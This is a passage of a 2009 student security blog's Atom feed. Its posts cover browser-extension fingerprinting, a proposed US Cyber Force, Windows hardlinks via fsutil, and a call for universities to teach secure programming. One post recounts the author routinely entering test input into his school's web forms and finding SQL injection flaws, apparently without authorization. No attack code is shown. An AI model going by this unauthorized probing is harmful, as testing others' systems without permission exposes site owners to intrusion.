 &lt;li&gt;Web Developer Extension/Add-on&lt;/li&gt;
 &lt;li&gt;User Agent Switcher Extension/Add-on&lt;/li&gt;
 &lt;li&gt;Tamper Data Extension/Add-on&lt;/li&gt;
 &lt;li&gt;Codetech Extension/Add-on&lt;/li&gt;
 &lt;li&gt;Greasemonkey Extension/Add-on&lt;/li&gt;
 &lt;li&gt;Colorzilla Extension/Add-on&lt;/li&gt;
 &lt;li&gt;MeasureIt Extension/Add-on&lt;/li&gt;
 &lt;li&gt;Hundreds of others...&lt;/li&gt;
&lt;/ul&gt;
As to whether or not all of these can be detected on the client side still remains to be seen, although many of them already can be.
(Firebug can for sure -- POC - open up gmail and turn on Firebug. Gmail should tell you that firebug slows Gmail down).&lt;br/&gt;
&lt;br/&gt;
Also note that the general idea of fingerprinting clients through readily available information can be used not only to
detect the presence of a web-developer, but also possibly to determine how "savvy" the user is with computer technologies,
and to detect other "classes" of users (network admin, n00b, old person [?], hacker, teacher, designer, etc.).&lt;br/&gt;
&lt;br/&gt;
Knowledge is power.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-7897716684269304254?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/7897716684269304254/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2009/06/client-fingerprinting.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/7897716684269304254'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/7897716684269304254'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2009/06/client-fingerprinting.html' title='Client Fingerprinting'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-1031017770025047030</id><published>2009-06-01T03:44:00.000-07:00</published><updated>2009-06-29T04:04:04.204-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='taosecurity'/><category scheme='http://www.blogger.com/atom/ns#' term='cyber force'/><title type='text'>Cyber Force Cybercom</title><content type='html'>&lt;div class="note"&gt;
Over at &lt;a href="http://taosecurity.blogspot.com/"&gt;TaoSecurity&lt;/a&gt;, a post was put up that talked about President Obama's &amp;quot;real&amp;quot;
speech addressing cyber security.  I started reading it and thought &amp;quot;Holy cow!  This is awesome!&amp;quot;  I got way excited and
started writing up my thoughts on the creation of a Cyber Force branch of the military that was mentioned.  After I had written
down most of my thoughts, I saw a note at the bottom of the post that says 
  &lt;div class="quote"&gt;
  &amp;quot;Note: If you read this far I am sure you know this was not
  the President's &amp;quot;real speech.&amp;quot; This is what I would have liked to have heard.&amp;quot;
  &lt;/div&gt;
I decided to write up the rest of my thoughts on the matter.  I kept my original excitement in as well :)  Now on to my &amp;quot;real&amp;quot;
post:&lt;br/&gt;
&lt;br/&gt;
ps- I've run across an article that talks about a new &amp;quot;cyber command&amp;quot; that will be coming into play.  Below are links to that article and other similar ones that seem to support this idea:&lt;br/&gt;
&lt;a href="http://news.yahoo.com/s/afp/20090530/pl_afp/usitobamacomputercybersecuritymilitary"&gt;http://news.yahoo.com/s/afp/20090530/pl_afp/usitobamacomputercybersecuritymilitary&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://www.stripes.com/m/article.asp?section=104&amp;article=63001"&gt;http://www.stripes.com/m/article.asp?section=104&amp;article=63001&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://www.switched.com/2009/05/29/white-house-creating-new-cyber-command-office-for-military/"&gt;http://www.switched.com/2009/05/29/white-house-creating-new-cyber-command-office-for-military/&lt;/a&gt;&lt;br/&gt;
&lt;br/&gt;
pps- Well, it's finally happened!  I'm a little delayed putting this in here, but here it is.  Defense Secretary Robert M. Gates has created a new command called Cybercom that will defend our networks at home and develop offensive weapons.  An article at the &lt;a href="http://www.washingtonpost.com/wp-dyn/content/article/2009/06/23/AR2009062303492.html"&gt;Washington Post&lt;/a&gt; talks about it more.
&lt;/div&gt;
&lt;br/&gt;
President Obama gave a speech on cyber security last Friday.  &lt;a href="http://taosecurity.blogspot.com/"&gt;TaoSecurity&lt;/a&gt; had received a
hard copy of the President's prepared remarks sometime before he actually gave his speech.  At one point during his speech, he went off
of what had been prepared (&lt;a href="http://www.whitehouse.gov/the_press_office/Remarks-by-the-President-on-Securing-Our-Nations-Cyber-Infrastructure/"&gt;here's what he actually said&lt;/a&gt;).  &lt;a href="http://taosecurity.blogspot.com/2009/05/president-obamas-real-speech-on-cyber.html"&gt;TaoSecurity made a post&lt;/a&gt; that talked about the things President Obama didn't say that were in his prepared speech.  One of them is this:&lt;br/&gt;
&lt;br/&gt;
&lt;div class="quote"&gt;"We will instruct the Secretary of Defense to examine the creation of a Cyber Force as an independent military branch. Just as we fight wars on land, at sea, and in the aerospace domains, we should promote warfighters thoroughly steeped in the intricacies of defense and attack in the cyberspace domain. We will also make it clear to our national adversaries that a cyber attack upon our national interests is equivalent to an attack in any other domain, and we will respond with the full range of diplomatic, information, military, and economic power at our disposal."&lt;/div&gt;
&lt;br/&gt;
How cool is this?!?!  This is actually something I've been thinking about and hoping for for quite some time.  I've often wondered
when the government would get around to thinking along the same lines.  Creating another branch in the military whose area of
expertise is cyber warfare will have a massive influence on our culture and perspective pertaining to computer security.  Below is
a list of several ways I think the US and the world will be influenced:
&lt;ol&gt;
&lt;li&gt;&lt;b&gt;Increased Awareness&lt;/b&gt;
   &lt;div style="padding-left:15px;margin:0px;"&gt;
     War hasn't changed &lt;i&gt;too&lt;/i&gt; much over the years.  Our troops muster up courage and travel to where the enemy is and
     show them who's boss.  The front-lines of war seem to have remained away from our homes and daily routines.  Until
     recently, that is.  Our computer networks and digital infrastructure are increasingly becoming the targets of attacks from enemy
     nations. Speaking of this at such a high level doesn't quite carry across the potential impact that exists.  Consider the following:&lt;br/&gt;
     &lt;br/&gt;
     Most people have a bank account.  In the days before most banking was done online, it was necessary to physically go to the bank
     to withdraw/deposit money (who would've thought?)  Imagine one day going to your bank, and the bank is gone, vanished.
     It was there the day before when you drove by, but now it is gone!  All that exists where the bank was is a big
     black hole, or possibly a poster made with butcher paper and paint containing offensive reasons to fight against democracy.  You try calling
     the bank, but you can't get through.  You try purchasing a few items with your debit card, but the transaction fails.
     This is one thing that could happen if only our banks became the focus of attacks from enemy nations.  Such an attack would affect each
     of our personal lives to an intense degree.&lt;br/&gt;
     &lt;br/&gt;
     The creation of a Cyber Force as a new military branch will pull cyber security into the lime light.  The public
     should be made aware of why a new military branch is necessary and will come to realize how critical our digital
     infrastructure is.  The public could be made aware through free programs and/or
     public demonstrations.  The public demonstrations could demonstrate on a personal level how much
     we depend on our digital connections and how much an attack on them would affect us.  I believe such demonstrations coupled
     with additional opportunities to learn would be most effective at informing the most people.  This increased awareness will
     be the main impetus for the other points below.
   &lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Digital Infrastructure == &lt;span style="text-decoration: line-through;"&gt;Mere Commodity&lt;/span&gt; National Asset&lt;/b&gt;
  &lt;div style="padding-left:15px;margin:0px;"&gt;
    The increased awareness described above will cause people to realize how vital our digital infrastructure is.  It
    will begin to be viewed not only as a commodity and something nice to have around, but as something that is
    absolutely necessary for our nation to function in its current state.  Hopefully, we will begin to not take it for granted
    and will view it as a national asset that we need to protect.  We will become aware that it is one of our nations
    largest vital organs.
  &lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Coding and Network Standards&lt;/b&gt;
  &lt;div style="padding-left:15px;margin:0px;"&gt;
    Contractors who create or offer products and services to the military usually must meet a much higher standard
    than the private sector's standards before their product/service will be considered or used.  Their products/services
    will be on the &amp;quot;front-line&amp;quot; and will probably have to hold their own against enemy attacks of some kind.  Other
    assets will depend on the functionality of this product to complete their missions.  The failure of one product/service
    will drastically affect the outcome of the current mission and the integrity of the &amp;quot;team&amp;quot;.&lt;br/&gt;
    &lt;br/&gt;
    As we become more aware, we will realize that our digital infrastructure is part of our front-line
    and is not being held to the same standards as our products/services on the traditional front-lines.  Hopefully, we will realize that a lapse
    in security of one product/service will almost certainly affect the integrity of another.  I believe that new forms of coding
    standards will be introduced, along with a way to enforce/regulate the type of code/network/service that is put on our
    &amp;quot;front-line&amp;quot;.
  &lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Increased Funding/Opportunities for Research&lt;/b&gt;
  &lt;div style="padding-left:15px;margin:0px;"&gt;
    With the creation of a new branch of the military, the government will be looking for companies to place bids on projects
    they need completed, and companies will be looking to meet the new demand for security solutions.  More companies will enter this
    market and each of those companies will need their own security professionals and researchers.  I believe this market will grow
    much larger than it currently is.&lt;br/&gt;
    &lt;br/&gt;
    The creation of the Cyber Force could also actually start a new &amp;quot;arms&amp;quot; race.  This arms race would occur both
    inside the U.S. as competition between research groups and companies, and between the U.S and other countries.
    Research groups at Universities would also receive more funding to further our defensive and offensive technoligies in the field
    of cyber security.  The new Cyber Force branch would need to have its own research teams and divisions as well.
  &lt;/div&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Additional Education/Development Programs&lt;/b&gt;
  &lt;div style="padding-left:15px;margin:0px;"&gt;
    Similar to how ROTC programs work with other branches of the military, I can easily foresee ROTC (or Cyber Force specific) programs
    being implemented.  High-school and college students would jump into these programs headfirst and would enjoy it tremendously.
    These programs would have high enrollments, for everyone who likes computers at least secretly wishes they knew more about
    computer security and what is possible.  The development programs would also have a very high retention rate, because of
    the nature of the subject matter itself.  The courses would also have a high retention rate especially because those enrolled in them
    would most likely not be exposed to physical danger should they continue into the Cyber Force.
    I know if I were given such a chance to formally be taught about cyber security when I was in high-school with the possibility
    of being a professional in that field &lt;i&gt;in the military&lt;/i&gt;, I would've jumped at the chance.  I still would, actually.&lt;br/&gt;
    &lt;br/&gt;
    Few universities have majors that have an emphasis on Information Assurance/Computer Security, and even 
    fewer have majors in this field.  I believe higher education institutions would experience an increase in the
    number of students who are interested in computer security.  This would spur the universities on to develop full programs centered
    on computer security, possibly with the creation of new majors and/or graduate degrees.
  &lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;br/&gt;

In my opinion, this is an &lt;span style="font-size:larger;font-weight:bold"&gt;EXCELLENT&lt;/span&gt; idea.  I literally can't wait to see what
comes out of this.  I think it has the potential to be something amazing.&lt;br/&gt;
&lt;br/&gt;
Thanks for reading!&lt;br/&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-1031017770025047030?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/1031017770025047030/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2009/06/cyber-force.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/1031017770025047030'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/1031017770025047030'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2009/06/cyber-force.html' title='&lt;span style=&quot;text-decoration: line-through&quot;&gt;Cyber Force&lt;/span&gt; Cybercom'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-2246285039111721586</id><published>2009-05-27T12:07:00.000-07:00</published><updated>2009-06-24T06:23:42.385-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='kung fu'/><category scheme='http://www.blogger.com/atom/ns#' term='command line'/><title type='text'>Hardlinks vs Softlinks?</title><content type='html'>Lately I've been devouring security blogs I find, almost to an extent where I'm trying to cut back because I
    find I am making excuses to put off my homework and studies just a little longer so I can read one more
    extremely interesting article.  Not that it's really &lt;i&gt;that&lt;/i&gt; bad, but it is something I enjoy doing
    tremendously.&lt;br/&gt;
    &lt;br/&gt;
    Better get back to the topic of this post though: Hardlinks vs Softlinks.  What prompted me to look more into
    this is a post on
    &lt;a href="http://blog.commandlinekungfu.com/2009/05/episode-36-file-linking.html"&gt;Command Line Kung Fu that talks
    about file linking&lt;/a&gt;.  Paul started off talking about how to link files on *nix platforms, and then Ed comes
    back and talks about how windows doesn't have a way to do this.&lt;br/&gt;
    &lt;br/&gt;
    This caught me way off guard.  I thought "What about using &lt;span class="cmd-code"&gt;fsutil&lt;/span&gt; to create
    a hardlink?  For example, you could use something similar to the example below to create a hardlink to
     a file:
    &lt;div class="answer"&gt;
      &lt;div class="cmd-code"&gt;
        &lt;pre&gt;C:\&gt;fsutil hardlink create newfile.txt oldfile.txt
Hardlink created for C:\newfile.txt &lt;&lt;===&gt;&gt; C:\oldfile.txt&lt;/pre&gt;
      &lt;/div&gt;
    &lt;/div&gt;
    My first reaction was that maybe Ed forgot about that command, but I quickly dismissed that
    notion.  If anything I probably didn't understand why Ed didn't count using &lt;span class="cmd-code"&gt;fsutil hardlink create&lt;/span&gt;
    as an option for creating links.&lt;br/&gt;
    &lt;br/&gt;
    After re-reading the post, I noticed a special requirement at the beginning that said there should be only one
    original of the file(s)/directory.  From what I knew about hardlinks and fsutil, new files that are hardlinks to
    an existing file also become "&lt;i&gt;originals&lt;/i&gt;."  This means that deleting the original file that hardlinks were
    made from will not make the hardlinked files useless.  They each will still maintain a copy of the file contents
    and will still be linked to eachother.&lt;br/&gt;
    &lt;br/&gt;
    After a little more research into the matter, I came up with several main differences between hardlinks and softlinks.&lt;br/&gt;
    &lt;ol&gt;
      &lt;li&gt;Softlinked files create something more akin to a shortcut to a file.  This maintains only one original file.&lt;/li&gt;
      &lt;li&gt;Deleting a hardlinked file does not delete all other hardlinked files, and a file is never "fully" deleted
          until all hardlinks to it are deleted.&lt;/li&gt;
      &lt;li&gt;Softlinked files are useless without the original file&lt;/li&gt;
      &lt;li&gt;Hardlinks cannot be made to directories&lt;/li&gt;
      &lt;li&gt;Softlinks can be made to directories&lt;/li&gt;
      &lt;li&gt;Hardlinks must exist in the same filesystem&lt;/li&gt;
    &lt;/ol&gt;
    Also, it is not possible to create hardlinks to/from alternate data streams, which would be very interesting.&lt;br/&gt;
&lt;br/&gt;
    As it turns out, I was right in assuming that Ed knows what he is talking about :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-2246285039111721586?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/2246285039111721586/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2009/05/hardlinks-vs-softlinks.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/2246285039111721586'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/2246285039111721586'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2009/05/hardlinks-vs-softlinks.html' title='Hardlinks vs Softlinks?'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-7358427414892475809</id><published>2009-05-27T11:46:00.000-07:00</published><updated>2009-06-24T06:23:42.385-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='how to start'/><title type='text'>Starting Up</title><content type='html'>A recent post on &lt;a href="http://pauldotcom.com"&gt;pauldotcom&lt;/a&gt; talks about ways to get started in the Information Security field.  This is an article I wish I had found when I was first trying to get into it.  Right now, I wouldn't say I'm currently &lt;i&gt;in&lt;/i&gt; the field (meaning I don't have a job that deals directly with Information Security), but I definitely feel like I'm well on my way.&lt;br/&gt;
&lt;br/&gt;
Most of the points someone would figure out if they were relatively smart and had common sense.  One of the points mentioned getting involved with local groups (linux users groups, hacker groups, etc.), which was something I hadn't really thought of before (even though it makes total sense) that might help me gain more experience with computer security. If school and my job would give me more free time, I'd like to look into this option more.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-7358427414892475809?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/7358427414892475809/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2009/05/starting-up.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/7358427414892475809'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/7358427414892475809'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2009/05/starting-up.html' title='Starting Up'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-202504895286465420</id><published>2009-05-18T04:40:00.001-07:00</published><updated>2009-06-24T06:23:42.386-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='teach the students'/><category scheme='http://www.blogger.com/atom/ns#' term='education'/><category scheme='http://www.blogger.com/atom/ns#' term='awareness'/><title type='text'>Teach the Students!</title><content type='html'>&lt;p class="note"&gt;This is a topic that I feel rather passionate about.  I am starting some research into the top universities in the nation to see if &lt;b&gt;&lt;i&gt;any&lt;/i&gt;&lt;/b&gt; of them require some knowledge of secure programming before allowing their students to graduate.  My guess is that none of them do.&lt;/p&gt;

&lt;p&gt;Earlier this year, I took an upper-level course whose main subject was ethics and computers in society.  Each of us were asked to give a presentation on a specific topic of our choosing that fell into one of the broader topics we were to discuss in class.  I quickly chose to talk about something in the scope of computer security, but had a hard time choosing a specific topic.  I wanted to talk about something that could influence my peers to become more aware and security conscious.&lt;/p&gt;

&lt;p&gt;My original ideas ranged from making my peers generally aware of what an attacker is capable of to some of the consequences of attacking or hacking an application/network. One day, I was perusing one of my school's sites and followed my habit of tossing text into a form that would make it apparent whether or not the inputs were sanitized.  Low and behold, I saw an SQL-error message appear where the search results should have been!  I explored the site a little more and discovered that the &lt;i&gt;entire&lt;/i&gt; site was vulnerable to SQL injection.  Later that week, I discovered more of my school's sites that were vulnerable.  These revelations were shocking to me, for I knew that student programmers had made those sites.  I couldn't believe they weren't aware of something as simple as SQL-injection.  I thought to myself that at least some basic knowledge or awareness of some security principles should be required before allowing a student to develop a website.  I then realized that the entire undergrad curriculum never includes anything on the topic of secure programming or making us "future-programmers-of-the-world" more security aware.  My topic had found me.&lt;/p&gt;

&lt;p&gt;I started off my presentation with some basic php code to select data from a database based on a user's search.  I asked the rest of the class if they saw anything wrong with the code.  A few (meaning two or three) of my peers noticed the code was vulnerable to SQL injection.  The rest were clueless and watched in amazement as I demonstrated what was possible if user inputs were not properly sanitized.  Realizing that most of my peers were completely unaware of SQL injection was quite a shock to me, for I knew that many of them currently held jobs as web programmers and had hoped that upper-level computer science students would be better than that.  I ended my presentation by pointing them to CWE/SANS' &lt;a href="http://cwe.mitre.org/top25/index.html"&gt;top 25 most dangerous programming errors&lt;/a&gt; site and practically begged them to become more aware of security concerns and issues.&lt;/p&gt;

&lt;p&gt;Since my initial experience with my peers' lack of awareness of basic elements of secure web programming, I have constantly thought that one of the greatest ways to increase computer security in the world is to &lt;i&gt;teach the students&lt;/i&gt; about it and to keep them informed.  In all of the curriculum that is &lt;i&gt;required&lt;/i&gt; for a computer science major at my university, none of the courses talk about security concerns and secure programming.  This should be a requirement for all universities and colleges that offer Computer Science, Information Technology, Information Systems, or other related majors.  Having a requirement to learn about these subjects would immensely help solve many of the security issues present in our world today.  Yes, we should continue to educate and inform current professionals in the industry, but I feel that a bottom-up approach would be the most effective and have the greatest long-term impact.  As many others have already said, awareness is one of the keys to combating computer security issues.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-202504895286465420?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/202504895286465420/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2009/05/teach-students_18.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/202504895286465420'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/202504895286465420'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2009/05/teach-students_18.html' title='Teach the Students!'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1981035927209077463.post-715493597172519797</id><published>2009-04-29T16:27:00.001-07:00</published><updated>2009-06-24T06:23:42.386-07:00</updated><title type='text'>And so it begins</title><content type='html'>The first post, as well as a few tests:

Code examples will look like this:

&lt;div class="answer"&gt;
&lt;div class="cmd-code"&gt;
  C:\WINDOWS&gt;dir /s /b hosts &lt;span class="comment"&gt;//find the hosts file&lt;/span&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1981035927209077463-715493597172519797?l=gnarlysec.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://gnarlysec.blogspot.com/feeds/715493597172519797/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://gnarlysec.blogspot.com/2009/04/and-so-it-begins_29.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/715493597172519797'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1981035927209077463/posts/default/715493597172519797'/><link rel='alternate' type='text/html' href='http://gnarlysec.blogspot.com/2009/04/and-so-it-begins_29.html' title='And so it begins'/><author><name>gnarlysec</name><uri>http://www.blogger.com/profile/11597222606462815374</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_5OFsnfdFN14/ShP-IVBw3FI/AAAAAAAAAAM/WHRCHFAD-wk/S220/DSC05715.JPG'/></author><thr:total>0</thr:total></entry></feed>
